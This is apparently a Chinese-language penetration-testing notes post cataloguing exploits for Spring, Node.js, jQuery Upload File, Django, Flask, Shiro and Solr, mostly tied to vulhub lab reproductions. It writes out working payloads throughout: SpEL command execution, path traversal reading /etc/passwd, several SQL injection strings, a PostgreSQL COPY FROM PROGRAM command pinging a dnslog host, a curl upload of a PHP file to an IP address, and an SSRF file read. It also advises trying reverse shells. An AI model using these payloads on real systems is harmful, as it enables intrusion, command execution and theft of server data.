# 命令注入编码时需要拿出去单独编码防止空格的干扰
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

# Spring Data Commons 远程命令执行漏洞(CVE-2018-1273 )
https://vulhub.org/#/environments/spring/CVE-2022-22963/
Connection: close spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
抓包修改要执行的命令,注意此处不需要编码,其不在post数据中

# Node.js Jquery

(1)Node.js 目录穿越漏洞(CVE-2017-14849 )

1
2
3
4
5
6
7
# 复现地址:
https://vulhub.org/#/environments/node/CVE-2017-14849/

# 用来读取一些敏感文件:
GET /static/../../../a/../../../../etc/passwd HTTP/1.1

# 在node.js <= 8 .5存在此漏洞,如果版本高就不用测了,版本找不到可以直接测

(2)node.js CVE_2021_21315

Node.js-systeminformation 是用于获取各种系统信息的 Node.js 模块,在存在命令注入漏洞的版本中,可以通过未过滤的参数中注入 payload 执行系统命令。
Systeminformation < 5.3.1

复现地址:https://www.freebuf.com/vuls/284350.html

git clone https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC.git && node index.js /api/getServices?name[]=$(echo -e 'xiaodi' > test.txt)

(3)jQuery cve_2018_9207 cve_2018_9208 cve_2018_9209

jQuery 是一个快速、简洁的 JavaScript 框架,如果与 php 配合使用且采用 jq 来传文件,当 jQuery Upload File <= 4.0.2 满足时存在任意文件上传,向 jq 中 post php 可 RCE:
curl -F "myfile=@php.php" "http://123.58.236.76:56579/jquery-upload-file/php/upload.php"

# Django Flask

Django 是一款广为流行的开源 web 框架,由 Python 编写,许多网站和 app 都基于 Django 开发。Django 采用了 MTV 的框架模式,即模型 M,视图 V 和模 版 T,使用 Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱 动的应用程序。而且 Django 还包含许多功能强大的第三方插件,使得 Django 具 有较强的可扩展性。

前期的信息收集是很重要的,收集到的信息越多,暴露的资产面就越多, 搜集到的框架是 diango 的话就可以着手搜它历年爆出来的 RCE 尝试利用。

(1)django cve_2019_14234

注意触发此漏洞的前提条件是需要拿到后台权限,如果不能凭借弱口令或者爆破进入后台,那就不能利用这个漏洞了。

1
2
3
4
5
6
7
8
# 单引号已注入成功,SQL语句报错
/admin/vuln/collection/?detail__a%27b=123

# 创建cmd_exec
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20

# 调用cmd_exec执行命令,用dnslog接收回显判断是否存在命令执行:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping hqrwsz.dnslog.cn%27--%20

(2)django CVE-2021-35042

漏洞复现:https://www.freebuf.com/vuls/283262.html

Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by () 中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。

1
2
3
4
# 找到可以进行数据注入的地方,进行构造,直接注入获取敏感信息。
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20version())),1)%23
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23

(3)Django SQL 注入漏洞 CVE-2022-28346

攻击者使用精心编制的字典, 通过 kwargs 传递给 QuerySet.annotate ()、aggregate () 和 extra () 这些方法,可导致这些方法在列别名中受到 SQL 注入攻击。

漏洞复现:https://blog.csdn.net/weixin_57567655/article/details/125623784

通过报错页面可以发现存在哪些接口,访问接口如果存在传参,同样会提示报错信息

使用报错提示的参数进行 sql 注入:
http://x.x.x.x:8000/demo?field=demo.name"FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

(4)flask SSTI 模板注入

复现地址:https://vulhub.org/#/environments/flask/ssti/

访问 http://your-ip/?name=54289,得到 54289 ,说明 SSTI 漏洞存在。

可尝试执行命令,反弹 shell 等操作。一般参数为默认的 404_url 和 name,如果无法确定参数的话需要用字典进行测试。

# Shiro Sorl

(1)Apache Shiro 漏洞

Apache Shiro 是一个强大且易用的 Java 安全框架,用于身份验证、授权、密码和会话管理。

判断:大多会发生在登录处,返回包里包含 remeberMe=deleteMe 字段

1
2
3
4
5
6
7
8
# apache shiro的历史漏洞如下,作简单了解:
Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483 】
Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807 】
Apache Shiro < 1.4.2 cookie oracle padding漏洞 【CVE-2019-12442 】
Apache Shiro < 1.5.2 验证绕过漏洞 【CVE-2020-1957 】
Apache Shiro < 1.5.3 验证绕过漏洞 【CVE-2020-11989 】
Apahce Shiro < 1.6.0 验证绕过漏洞 【CVE-2020-13933 】
Apahce Shiro < 1.7.1 权限绕过漏洞 【CVE-2020-17523 】
  • CVE_2016_4437 Shiro-550+Shiro-721
    用工具直接爆破出密钥,在继续执行命令,但是已经很老,很难碰到

  • CVE-2020-11989
    Poc:/admin/%20 影响范围:Apache Shiro < 1.7.1
    https://github.com/jweny/shiro-cve-2020-17523
    当看到当前 java 引入了 shiro 依赖,切其版本在指定范围内就可以进行测试

  • CVE-2020-1957
    Poc:/xxx/…;/admin/ 影响范围:Apache Shiro < 1.5.3
    验证绕过,访问构造的地址构造恶意 url 地址之后可以跳过登录认证,如何获取这个 url 地址可以拿到源码构造可以在线搜索或者抓包进行寻找。实际出现了 shiro 这个版本再去想找相应的利用方法。

(2)Apache Solr 漏洞

Apache Solr 是一个开源的搜索服务,使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现的。Solr 是一个高性能,采用 Java5 开发,基于 Lucene 的全文搜索服务器。

漏洞判断:https://avd.aliyun.com/search?q=solr

1
2
3
4
5
6
7
8
# apache solr的历史漏洞如下,作简单了解:
远程命令执行RCE(CVE-2017-12629 )
远程命令执行XXE(CVE-2017-12629 )
任意文件读取AND命令执行(CVE-2019-17558 )
远程命令执行漏洞(CVE-2019-0192)
远程命令执行漏洞(CVE-2019-0193)
未授权上传漏洞(CVE-2020-13957)
Apache Solr SSRF (CVE-2021-27905)
  • CVE-2017-12629 远程命令执行 RCE

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过 Http 利用 XML 加到一 个搜索集合中。查询该集合也是通过 http 收到一个 XML/JSON 响应来实现。此 次 7.1.0 之前版本总共爆出两个漏洞:XML 实体扩展漏洞 (XXE) 和远程命令执行漏洞 (RCE),二者可以连接成利用链,编号均为 CVE-2017-12629。

漏洞复现:https://vulhub.org/#/environments/solr/CVE-2017-12629-RCE/

Apache solr<7.1.0 版本,直接通过 burp 抓包修改数据即可

  • CVE-2019-17558 Apache Solr Velocity 注入远程命令执行漏洞

Apache Solr 是一个开源的搜索服务器。在其 5.0.0 到 8.3.1 版本中,用户可以注入自定义模板,通过 Velocity 模板语言执行任意命令。

漏洞复现:https://github.com/jas502n/solr_rce
漏洞说明:https://github.com/vulhub/vulhub/blob/master/solr/CVE-2019-17558/README.zh-cn.md

D:\Python27\python.exe solr_rce.py http://123.58.236.76:50847 id

在实战中,当发现有 Solr 资产时,可直接通过脚本测试,没有就是没有

  • CVE-2019-0193 Apache Solr 远程命令执行漏洞

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基
于 HTTP 和 Apache Lucene 实现。此次漏洞出现在 Apache Solr 的 DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源 中提取数据。它具有一个功能,其中所有的 DIH 配置都可以通过外部请求的 dataConfig 参数来设置。由于 DIH 配置可以包含脚本,因此攻击者可以通过构 造危险的请求,从而造成远程命令执行。

漏洞复现:https://vulhub.org/#/environments/solr/CVE-2019-0193/

有两个前提条件,一个是有未授权或者弱密码可以进入后台,二是后台里边已经创建过一个模板,如果满足,可以修改再后台用 debug 模式调整 dataConfig 的代码,加入反弹 shell 的命令即可利用

  • CVE-2021-27905 Apache Solr RemoteStreaming 文件读取与 SSRF 漏洞

Apache Solr 是一个开源的搜索服务器。在 Apache Solr 未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成 SSRF 或任意文件读取。

漏洞复现: https://vulhub.org/#/environments/solr/Remote-Streaming-Fileread/

1
2
3
# 最后获取信息的 payload 如下
curl-i -s -k'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
# 可以调整file协议为其他协议如http,通过访问dnslog来验证漏洞存在
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝